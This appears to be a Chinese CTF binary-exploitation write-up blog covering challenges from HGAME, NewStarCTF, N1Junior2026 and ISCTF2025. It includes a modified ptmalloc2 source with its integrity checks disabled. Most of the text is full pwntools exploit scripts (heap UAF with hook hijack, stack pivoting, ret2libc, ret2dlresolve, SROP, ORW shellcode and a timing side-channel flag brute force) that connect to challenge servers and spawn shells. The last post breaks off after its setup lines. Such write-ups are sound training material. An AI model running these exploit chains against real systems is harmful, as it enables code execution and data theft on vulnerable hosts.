 bck->fd = p;
 fwd->bk = p;

 set_head(p, size | PREV_INUSE);
 set_foot(p, size);
 //check_free_chunk(av, p);
 }
 /*
 If the chunk borders the current high end of memory,
 consolidate into top
 */
 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 main_arena.top = p;
 //check_chunk(av, p);
 }
}

void *calloc(size_t count, size_t size) { TODO(); return NULL;}
void *realloc(void *ptr, size_t size) { TODO(); return NULL;}
void *reallocf(void *ptr, size_t size) { TODO(); return NULL;}
void *valloc(size_t size) { TODO(); return NULL;}
void *aligned_alloc(size_t alignment, size_t size) { TODO(); return NULL;}
static void
unlink_chunk (mchunkptr p)
{
 if (chunksize (p) != prev_size (next_chunk (p)))
 malloc_printerr ("corrupted size vs. prev_size");

 mchunkptr fd = p->fd; 
 mchunkptr bk = p->bk;

 //if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
 //malloc_printerr ("corrupted double-linked list");

 fd->bk = bk;
 bk->fd = fd;
}
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av){
 INTERNAL_SIZE_T size;
 mchunkptr p;

 size = nb + mp_.top_size;
 if(av->top == NULL){
 start = sbrk(0);
 p = sbrk(size);
 main_arena.top = chunk_at_offset(p, nb);
 set_head(p, nb | PREV_INUSE);
 set_foot(p, nb);
 set_head(main_arena.top, mp_.top_size | PREV_INUSE);
 return chunk2mem(p);
 }
 else{
 TODO();
 }
}
static void
malloc_init_state (mstate av)
{
 int i;
 mbinptr bin;

 /* Establish circular links for normal bins */
 for (i = 1; i < 2; ++i)
 {
 bin = bin_at (av, i);
 bin->fd = bin->bk = bin;
 }
}

魔改了 ptmalloc2 ，只留下 unsortedbin 功能，而且还有 size < nb 会卡死的问题

free 有 hook 可以劫持

IDA

main

菜单题

add

delete

free 后没清空，有 UAF

edit

UAF ，同时可用于实现 AAW

show

可泄露 unsortedbin 的哨兵地址，同时可用于实现 AAR

gift

劫持 hook

bss

攻击思路

注意到 usortedbin 的哨兵存在于 bss 段，考虑 free 掉一个 chunk 进入 usortedbin 去 leak pie ，注意避免该 chunk 被并入 top_chunk

然后通过在 bss 段上伪造包含 notes 区域的 fake chunk 并将 fake chunk 地址写入 free chunk 再 malloc 以获取 AAW 和 AAR 的能力

最后 leak libc 并劫持 hook 为 system ，再往一个 chunk 内写入 ‘/bin/sh\x00’ 并 free 掉即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31275)

libc = ELF('./libc.so.6')

ssiz = 0x30
prosiz = 0x100

def madd(idx, size):
	io.sendlineafter(b'>\n', b'1')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendlineafter(b'Size: ', str(size).encode())

def mdelete(idx):
	io.sendlineafter(b'>\n', b'2')
	io.sendlineafter(b'Index: ', str(idx).encode())

def medit(idx, cont):
	io.sendlineafter(b'>\n', b'3')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendafter(b'Content: ', cont)

def mshow(idx):
	io.sendlineafter(b'>\n', b'4')
	io.sendlineafter(b'Index: ', str(idx).encode())

def mexit():
	io.sendlineafter(b'>\n', b'5')

def mgift(addr):
	io.sendlineafter(b'>\n', b'6')
	io.sendlineafter(b'hook\n', hex(addr).encode())

def AAW(addr, cont):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	medit(0, cont)

def AAR(addr):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	mshow(0)

def attack():
	madd(0, ssiz)
	madd(12, ssiz)
	mdelete(0)
	mshow(0)
	completed_0_addr = u64(io.recv(6).ljust(8, b'\x00'))
	pie_leak = completed_0_addr - 0x808
	log.info(f'pie_leak = {hex(pie_leak)}')

	saddr = pie_leak + 0x840
	medit(0, p64(saddr))
	madd(8, ssiz)
	medit(0, p64(completed_0_addr) + p64(saddr))
	madd(2, ssiz)
	madd(10, ssiz - 0x8)
	medit(10, p64(prosiz) * 4)

	AAR(pie_leak + 0x7a0)
	__libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00'))
	libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
	log.info(f'libc_base_addr = {hex(libc_base_addr)}')
	
	system_addr = libc_base_addr + libc.symbols['system']
	mgift(system_addr)
	AAW(pie_leak + 0xa00, b'/bin/sh\x00')
	mdelete(0)
	
	io.interactive()

attack()

adrift

checksec

Full RELRO 和 PIE

IDA

main

case 1 处发现可以使 i = 201 ，从而发生数组越界写向 dis 写入数据，同时有栈溢出

写入后清空栈上内容

case 3 可以填满 dis ，用于辅助 case 1 的越界写

init_canary

手动 canary ，放在栈上

delete

show

在 short int 下 -(-32768) = -32768 ，可以造成数组越界读取，且恰好读取到 canary ，同时可 leak stack

并注意到整个程序只有这里有读取，因此想要 leak pie 或 leak libc 必须要把数据写入 dis 中

bss

攻击思路

首先 leak canary ，然后通过把栈上数据 copy 到 dis 上去 leak pie

然后栈迁移到 bss 上去 leak stderr 从而拿到 libc 基址，注意此处不能 leak stdin ，因为向 dis 写入完成后原数据区域会被清空，导致后面的 scanf 处崩溃；也不能 leak got ，因为 Full RELRO ，且 case 1 有写入栈的操作

最后 ret2libc 即可

libc 版本我用 libcdb 没试出来，最后发现跟上一题一样

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31603)

def moverflow(cont, dirt):
	io.sendlineafter(b'choose> ', b'0')
	io.sendafter(b'way> ', cont)
	io.sendlineafter(b'distance> ', str(dirt).encode())

def mdelete(idx):
	io.sendlineafter(b'choose> ', b'1')
	io.sendlineafter(b'index> ', str(idx).encode())

def mshow(idx):
	io.sendlineafter(b'choose> ', b'2')
	io.sendlineafter(b'index> ', str(idx).encode())

def mdis(idx):
	io.sendlineafter(b'choose> ', b'3')
	io.sendlineafter(b'index> ', str(idx).encode())
	io.sendlineafter(b'distance> ', b'1')

def mexit():
	io.sendlineafter(b'choose> ', b'4')

def canary_leak():
	mshow(-32768)
	io.recvuntil(b': ')
	canary = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'canary = {hex(canary)}')
	return canary


def mleak(idx, name, offset):
	mshow(idx)
	io.recvuntil(b': ')
	leak = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'{name} leak = {hex(leak - offset)}')
	libcdict_add(name, leak - offset)
	return leak - offset

def attack():
	for i in range(201):
		mdis(i)

	canary = canary_leak()

	moverflow(p64(0), 1)
	mshow(114)
	io.recvuntil(b': ')
	pie = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10) // 0x10000 - 0x040
	log.info(f'pie = {hex(pie)}')

	for i in range(201):
		mdis(i)

	midx = 100
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	bss_addr = pie + 0x4040
	bss_leaker = bss_addr + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(bss_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(0)
	leave_addr = pie + 0x1721
	payload = b'A' * (0x3fa - 0x10) + p64(canary) + b'A' * 8 + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mdelete(1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')

	midx = 150
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	pov_leaker = pie + 0x4080 + 0x510 + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(pov_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(2)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')
	stderr_leak = mleak(0, '_IO_2_1_stderr_', 0)

	for i in range(201):
		mdis(i)

	libc = ELF('./libc.so.6')
	libc_base = stderr_leak - libc.symbols['_IO_2_1_stderr_']
	log.info(f'libc_base = {hex(libc_base)}')

	for i in range(10):
		mdis(i)

	midx = 10
	pov_addr = pie + 0x4080 + 0x518 * midx
	rbp_addr = pie + 0x4080 + 0x518 * midx * 2
	pop_rdi_ret = libc_base + 0x2a3e5
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search(b'/bin/sh'))
	mdelete(midx)
	ret_addr = pie + 0x1722
	payload = p64(rbp_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	moverflow(payload, 1)
	mdelete(0)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.interactive()

attack()

BUUCTF-NewStarCTF-2023-dlresolve 题解

Mon, 09 Feb 2026 16:54:00 +0000

题目

题目链接

攻击思路

64 位下 ret2dlresolve 模板题

注意将返回地址覆盖为 plt 内容后可再接返回地址控制程序流程

注意 _dl_runtime_resolve 有点像 srop 会还原寄存器

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node5.buuoj.cn', 28062)

link_map_base = 0x404800
binsh_addr = link_map_base + 0x28

read_plt = 0x401060
again_addr = 0x401192
plt0_addr = 0x401026
read_got = 0x404020
pop_rdi_ret = 0x40115E
pop_rsi_ret = 0x40116B

def fake_link_map_gen(fake_link_map_base, delta, func_got_addr, mstr):
	fake_link_map = b''
	fake_link_map += p64(delta, sign = 'signed')
	fake_link_map += p64(func_got_addr - 8)
	fake_link_map += p64(fake_link_map_base + 24)
	fake_link_map += p64(fake_link_map_base - delta)
	fake_link_map += p64(7)
	fake_link_map += mstr.encode()
	fake_link_map = fake_link_map.ljust(0x68, b'\x00')
	fake_link_map += p64(fake_link_map_base)
	fake_link_map += p64(fake_link_map_base)
	fake_link_map = fake_link_map.ljust(0xF8, b'\x00')
	fake_link_map += p64(fake_link_map_base + 8)
	return fake_link_map

def attack():
	payload = b'A' * (0x70 + 8) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(link_map_base) + p64(read_plt) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(plt0_addr) + p64(link_map_base) + p64(0)
	io.send(payload.ljust(0x100, b'\x00'))
	payload = fake_link_map_gen(link_map_base, 0x52290 - 0x10dfc0, read_got, '/bin/sh\x00')
	io.send(payload.ljust(0x100, b'\x00'))
	io.interactive()

attack()

BUUCTF-NewStarCTF-ret2csu2 题解

Fri, 06 Feb 2026 12:22:00 +0000

题目

题目链接

checksec

没有 canary 和 pie 但开了 Full RELRO ，要注意 .got 的只读属性

IDA

存在栈溢出，溢出长度较小，考虑栈迁移

攻击思路

栈迁移即可， leak 出 libc 基址后，利用 csu 构造 rop 链时考虑使用栈拼接的技巧

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
	if addr > 0x1000000:
		libcrealdict[name] = addr
		addr %= 0x1000
	libcoffsetdict[name] = addr

def getlibc(path):
	if not debug:
		return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
	else:
		return ELF(path)

def initlibc(libc):
	if not debug:
		subprocess.run(['cp', libc.path, './libc.so.6'])
		subprocess.run(['pwninit', '--no-template'])

debug = 1

if debug:
	p = process('./pwn_patched')
else:
	p = remote('node5.buuoj.cn', 27493)

csuaddr = 0x40075C
itaddr = 0x4007A8
hellorbp = 0x601108
ret2read = 0x4006D6
ret2write = 0x4006B7
fakerbp = 0x601208

def pleaker(addr):
	sleep(0.1)
	payload = (p64(addr)).ljust(240, b'A') + p64(hellorbp) + p64(ret2write)
	p.send(payload)
	retaddr = u64(p.recv(8))
	p.recvn(0x36 - 0x8, 1)
	return retaddr
	
def attack():
	payload = b'A' * 240 + p64(hellorbp) + p64(ret2read)
	p.sendafter(b'it!\n', payload)
	libcdict_add('__libc_start_main', pleaker(0x600FF0))
	libcdict_add('mprotect', pleaker(0x600FE8))
	libcdict_add('setvbuf', pleaker(0x600FE0))
	libc = getlibc('./libc.so.6')
	base_addr = libcrealdict['__libc_start_main'] - libc.symbols['__libc_start_main']
	log.info(f'base_addr = {hex(base_addr)}')
	initlibc(libc)
	one_gadget_offset = select_onegadgets(libc.path)
	one_gadget_addr = base_addr + one_gadget_offset
	sleep(0.1)
	payload = (p64(itaddr)).ljust(240, b'A') + p64(fakerbp) + p64(ret2write)
	p.send(payload)
	payload = (p64(0) + p64(0) + p64(0) + p64(0) + p64(one_gadget_addr)).ljust(240, b'A') + p64(hellorbp) + p64(ret2write)
	p.sendafter(b'it!\n', payload)
	payload = (p64(itaddr)).ljust(240, b'A') + p64(hellorbp) + p64(csuaddr)
	p.sendafter(b'it!\n', payload)
	p.interactive()

attack()

N1Junior2026-pwn WriteUp

Mon, 26 Jan 2026 22:37:00 +0000

ez_canary

拿到附件，发现有两个二进制文件： client 和 server ，核心在 server

checksec

server 有 canary 保护

IDA

main

当 client 与 server 连接时 server 用 fork 创建子进程

pwnhandler

pwnhandler 允许修改 rbp 和 ret

gift

gift 有栈溢出

攻击思路

server 限制了连接次数为 4 次，之后会重启父进程，因此爆破 canary 行不通

于是考虑利用两次连接

第一次连接：利用栈迁移 leak 出 canary ：先操纵 rbp 到 bss 段上，然后重新调用 pwnhandler 写入 canary 并再一次获得操纵 rbp 和 ret 的机会；于是将 rbp 操纵至原 rbp + 0x19 的位置并劫持返回地址到 pwnhandler 的 write 部分上即可读取 canary

第二次连接：进入 gift 打一遍 ret2libc 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

def conn():
	if debug:
		return process('./client')
	else:
		return remote('60.205.163.215', 18830)

__libc_start_main_offset = 0x23f90
pop_rdi_ret = 0x401893
ret = 0x401894
__libc_start_main_got = 0x403FF0
puts_plt = 0x4011C4
system_offset = 0x52290
bin_sh_str = 0x1b45bd
again_addr = 0x401436
rbp_prov0 = 0x404800
rbp_prov1 = rbp_prov0 + 0x19
pwn_handler_read_addr = 0x40156E
pwn_handler_write_addr = 0x40153A
pwn_handler_canary_addr = 0x40148A

def setreg(io, rbp, rip):
	io.sendlineafter(b'functions?\n', b'2')
	payload = p64(rbp) + p64(rip)
	io.sendafter(b'canary!', payload)

def attack():
	io = conn()
	setreg(io, rbp_prov0, pwn_handler_canary_addr)
	setreg(io, rbp_prov1, pwn_handler_write_addr)
	io.recvuntil(b'[Server]: ')
	canary = u64(io.recv(7).rjust(8, b'\x00'))
	log.info(f'canary = {hex(canary)}')
	io.close()
	io = conn()
	io.sendlineafter(b"functions?\n", b'1')
	payload = b'A' * 56 + p64(canary) + p64(rbp_prov0) + p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt) + p64(again_addr)
	io.sendafter(b"canary!", payload)
	io.recvuntil(b'[Server]: ')
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - __libc_start_main_offset
	log.info(f'libc_base = {hex(libc_base)}')
	sleep(0.1)
	system_addr = libc_base + system_offset
	bin_sh_addr = libc_base + bin_sh_str
	payload = b'A' * 56 + p64(canary) + p64(rbp_prov0) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)
	io.send(payload)
	io.interactive()

attack()

Old_Shellcode

seccomp

禁止了 execve 系统调用，考虑 orw

IDA

清空除 rdx 外的寄存器后让你写 shellcode

python

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


import subprocess

class FlagNotFound(Exception):
 def __str__(self):
 return "FlagNotFound"

class ByteCodeAlreadyUsed(Exception):
 def __str__(self):
 return "ByteCodeAlreadyUsed"
 
class ByteCodeTypesOverLimited(Exception):
 def __str__(self):
 return "ByteCodeTypesOverLimited"

def main():
 blacklist = set()
 flag = bytes()
 with open("/flag", "rb") as f:
 flag = f.readline()
 for i in range(1):
 try:
 user_input = bytes.fromhex(input(f"Enter your shellcode as hex({i}/2):").strip())
 for byte in user_input:
 if byte in blacklist:
 raise ByteCodeAlreadyUsed

 blacklist = blacklist.union(set(user_input))

 if len(blacklist) >= 16:
 raise ByteCodeTypesOverLimited

 p = subprocess.run(
 ['./chal'],
 capture_output=True,
 input=user_input,
 timeout=2.0,
 )
 if flag not in p.stdout:
 raise FlagNotFound

 except Exception as e:
 print("Error:", e)
 exit()
 print("Well Done.")
 print(p.stdout)
 
main()

要求：两次使用的字节码不重复，总计不超过 15 种，且能读出 /flag

攻击思路

想不出来怎么构造符合条件的 shellcode ，，，那就侧信道爆破吧

当然还要考虑怎么把使用的字节码压到不超过 15 种，，，

直接写爆破的 shellcode 是困难的，因为各类寄存器操作会使用大量的字节码，，，

因此我们考虑利用少量寄存器操作向 mmap 出的区域手动写入爆破的 shellcode ，使用以下指令：

1
2
3
4
5
6
7
8


mov rsp, rdx 48 89 d4
add rsp, 0x100 48 81 c4 00 01 00 00
mov rbp, rdx 48 89 d5
add rbp, 0x100 48 81 c5 00 01 00 00
mov ebx, 0 bb 00 00 00 00
add ebx, 0x100 81 c3 00 01 00 00
mov [rbp], ebx 89 5d 00
nop 90

mmap 上布局如下：

1
2


|------------------|---------|----------------------|-----------|
读入的 shellcode nop 填充 爆破的 shellcode rsp 隔离

利用多次执行 add 操作我们可以向 mmap 出的区域写入任意数据，刚好拿来造机器码

写入爆破的 shellcode:

最后几个 nop 用于对齐

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


mov rax, 0x67616c662f 48 b8 2f 66 6c 61 67 00 00 00
push rax 50
push rsp 54
pop rdi 5f
mov eax, 2 b8 02 00 00 00
syscall 0f 05

mov rdi, 3 48 c7 c7 03 00 00 00
push rsp 54
pop rsi 5e
mov rdx, 0xff 48 c7 c2 ff 00 00 00
xor rax, rax 48 31 c0
syscall 0f 05

mov al, [rsp + 0xf] 8a 44 24 0f
cmp al, 0x37 3c 37
LOOP:
je LOOP 74 fe
nop 90
nop 90
nop 90

由于网络不稳定，，，还要多爆破几次，，，不然会发现交上去的 flag 是错的。。。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172


from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

def conn():
	if debug:
		return remote('127.0.0.1', 1337)
	else:
		return remote('60.205.163.215', 23989)

def mov_rsp_rdx():
	return '4889d4'

def add_rsp_align(align):
	sc = '4881c4'
	for i in range(4):
		if i == align:
			sc += '01'
		else:
			sc += '00'
	return sc

def add_rsp_to(num):
	sc = ''
	sit = 0
	while num > 0:
		lb = num % 0x100
		for i in range(lb):
			sc += add_rsp_align(sit)
		num //= 0x100
		sit += 1
	return sc

def mov_rbp_rdx():
	return '4889d5'

def add_rbp_align(align):
	sc = '4881c5'
	for i in range(4):
		if i == align:
			sc += '01'
		else:
			sc += '00'
	return sc

def add_rbp_to(num):
	sc = ''
	sit = 0
	while num > 0:
		lb = num % 0x100
		for i in range(lb):
			sc += add_rbp_align(sit)
		num //= 0x100
		sit += 1
	return sc

def mov_ebx_0():
	return 'bb00000000'

def add_ebx_align(align):
	sc = '81c3'
	for i in range(4):
		if i == align:
			sc += '01'
		else:
			sc += '00'
	return sc

def add_ebx_to(num):
	sc = ''
	sit = 0
	while num > 0:
		lb = num % 0x100
		for i in range(lb):
			sc += add_ebx_align(sit)
		num //= 0x100
		sit += 1
	return sc

def mov_lrbpl_ebx():
	return '895d00'

def nop():
	return '90'

def initsc(gap):
	sc = ''
	sc += mov_rsp_rdx()
	sc += add_rsp_to(0x7500)
	sc += mov_rbp_rdx()
	sc += add_rbp_to(gap)
	return sc

def writesc(msc):
	msc = msc.replace(' ', '')
	sc = ''
	sc += mov_ebx_0()
	sc += add_ebx_to(u32(bytes.fromhex(msc)))
	sc += mov_lrbpl_ebx()
	sc += add_rbp_to(0x4)
	return sc

def loadorj(idx, char):
	sc = ''
	sc += writesc('48 b8 2f 66')
	sc += writesc('6c 61 67 00')
	sc += writesc('00 00 50 54')
	sc += writesc('5f b8 02 00')
	sc += writesc('00 00 0f 05')
	sc += writesc('48 c7 c7 03')
	sc += writesc('00 00 00 54')
	sc += writesc('5e 48 c7 c2')
	sc += writesc('ff 00 00 00')
	sc += writesc('48 31 c0 0f')
	sc += writesc('05 8a 44 24')
	sc += writesc(f'{idx:02x} 3c {char:02x} 74')
	sc += writesc('fe 90 90 90')
	return sc

def fillnop(num):
	sc = ''
	for i in range(num):
		sc += nop()
	return sc

def scgen(idx, char, gap):
	sc = ''
	sc += initsc(gap) + loadorj(idx, char)
	sc += fillnop(gap - len(sc) // 2)
	return sc

def test(mbyte, char):
	io = conn()
	io.recvuntil(b'hex(0/2):')
	sc = scgen(mbyte, char, 0x7000)
	print(f'Send: {hex(len(sc) // 2)} bytes')
	io.sendline(sc.encode())
	start_time = time.time()
	io.recvall(timeout = 1)
	end_time = time.time()
	io.close()
	return end_time - start_time

def explode():
	flag = 'flag{1t_i5_Ha2d_r1gh'
	idx = len(flag)
	while True:
		for char in range(32, 127):
			try:
				if test(idx, char) > 0.7:
					print(f'Found char at {idx}: {chr(char)} | Current Flag: {flag}')
					flag += chr(char)
					if chr(char) == '}':
						return flag
					break
				else:
					print(f'Test char failed at {idx}: {chr(char)} | Current Flag: {flag}')
			except Exception as e:
				char -= 1
				print(f'Error:{e}')
				continue
		idx += 1
	return flag

def attack():
	print(f"Flag: {explode()}")

attack()

BUUCTF-NewStarCTF-2023-orwrop 题解

Mon, 12 Jan 2026 11:40:00 +0000

题目

题目链接

checksec

有 canary 保护

IDA

有沙箱，考虑 orw

可利用格式化字符串漏洞泄露 canary

然后发现 mmap 开了一个 rwx 区域

考虑栈迁移和 ret2shellcode

我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞，然后由于 buf 的写入是以 rbp 为基准的，所以在第二次溢出时栈已迁移，可以直接在 rwx 段上布局 shellcode 实现 orw

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('ezorw')

io = process('./ezorw') 

fmt = b'%11$p'

io.recvuntil(b'sandbox\n')
io.sendline(fmt)

canary = p64(int(io.recv(18), 16))
log.info(f'canary = {hex(u64(canary))}')

io.recvuntil(b'now\n')

rbp_addr = p64(0x66660000 + 0x100)
rsp_s_rip_addr = p64(0x66660000 + 0x100 + 0x10)
read_addr = p64(0x401373)

padding = 40
payload = b'A' * padding + canary + rbp_addr + read_addr
io.sendline(payload)

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
payload = b'A' * padding + canary + rbp_addr + rsp_s_rip_addr + asm(shellcode)
io.recvuntil(b'now\n')
io.sendline(payload)
all_output = io.recvall(timeout=5)
log.info(all_output.decode('utf-8', errors='ignore'))

BUUCTF-NewStarCTF-ret2csu1 题解

Mon, 12 Jan 2026 11:10:00 +0000

题目

题目链接

checksec

IDA

csu 中有 call [r12 + rbx*8] ，令 r12 为指向 backdoor 地址的一个地址即 gift3 ， rbp 为 0 即可调用 backdoor

根据 execve 的参数定义，令 rdi -> “/bin/cat\x00” 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2csu1')

csu1 = p64(0x40072A)
csu2 = p64(0x400710)
rdi = p64(0x4007BB)
rsi = p64(0x601050)
backdoor = p64(0x601068)

padding = 32 + 8

payload = b'A' * padding + csu1 + p64(0) + p64(1) + backdoor + rdi + rsi + p64(0) + csu2

io.recvuntil(b'it!\n')
io.sendline(payload)
io.interactive()

BUUCTF-rootersctf_2019_srop 题解

Mon, 12 Jan 2026 09:32:00 +0000

题目

题目链接

checksec

vmmap

注意到 0x402000 开始有 rw 权限，在没法泄露栈地址时考虑栈迁移到上面

IDA

代码很简洁，有一个栈溢出漏洞，且有 pop rax; syscall; leave; retn; gadget ，很方便进行 srop

思路

考虑利用 srop 与栈迁移，在 0x402000 处布局栈：

1
2
3
4
5
6
7


+-------------------+
| ret2gadget | 0x402010 (rsp)
+-------------------+
| rbp | 0x402008
+-------------------+
| "/bin/sh\x00" | 0x402000
+-------------------+

利用 gadget 调用 execve syscall 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *

elf = ELF("./srop")
context.clear()
context.arch = "amd64"
context.log_level = 'debug'

io = process("./srop")

pop_rax_syscall_leave_retn = 0x401032
syscall_leave_retn = 0x401033

frame1 = SigreturnFrame(kernel="amd64")
frame1.rax = 0
frame1.rdi = 0
frame1.rsi = 0x402000
frame1.rdx = 0x400
frame1.rip = syscall_leave_retn
frame1.rbp = 0x402008
frame1.rsp = 0x402010

rax = p64(0xf)
payload1 = b"A" * (0x80 + 8) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame1)

io.recvuntil(b'CTF?\n')
io.sendline(payload1)

path = b"/bin/sh\x00"

frame2 = SigreturnFrame(kernel="amd64")
frame2.rax = 59
frame2.rdi = 0x402000
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_leave_retn

payload2 = path + p64(0x402008) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame2)


io.sendline(payload2)
io.interactive()

ISCTF2025-pwn WriteUp

Fri, 05 Dec 2025 12:17:00 +0000

sign

checksec

保护全开，可能会有点棘手？

IDA

攻击思路

好吧，其实只是个简单的整型编码问题，，，

注意到 2916788906 (unsigned int) 的编码与 -1378178390 (int) 的编码相同，均为 0xADDAAAAA ，所以往 v[27] 上写入 0xADDAAAAA 就可以拿到权限啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = process('./sign')
pid = pidof(io)[0]

payload = b'A' * (27 * 4) + p64(2916788906)
io.sendline(payload)

io.interactive()

ez_fmt

checksec

开了 PIE 和 canary 欸？

IDA

攻击思路

注意到有格式化字符串漏洞，故考虑第一次 read 直接泄露 PIE 和 canary ，，，

第二次 read 有明显的栈溢出漏洞，利用泄露出的 PIE 计算出后门函数 win 的地址，再构造 payload 把泄露出的 canary 放上去然后跳转到目标地址就行啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = process('./ez_fmt')

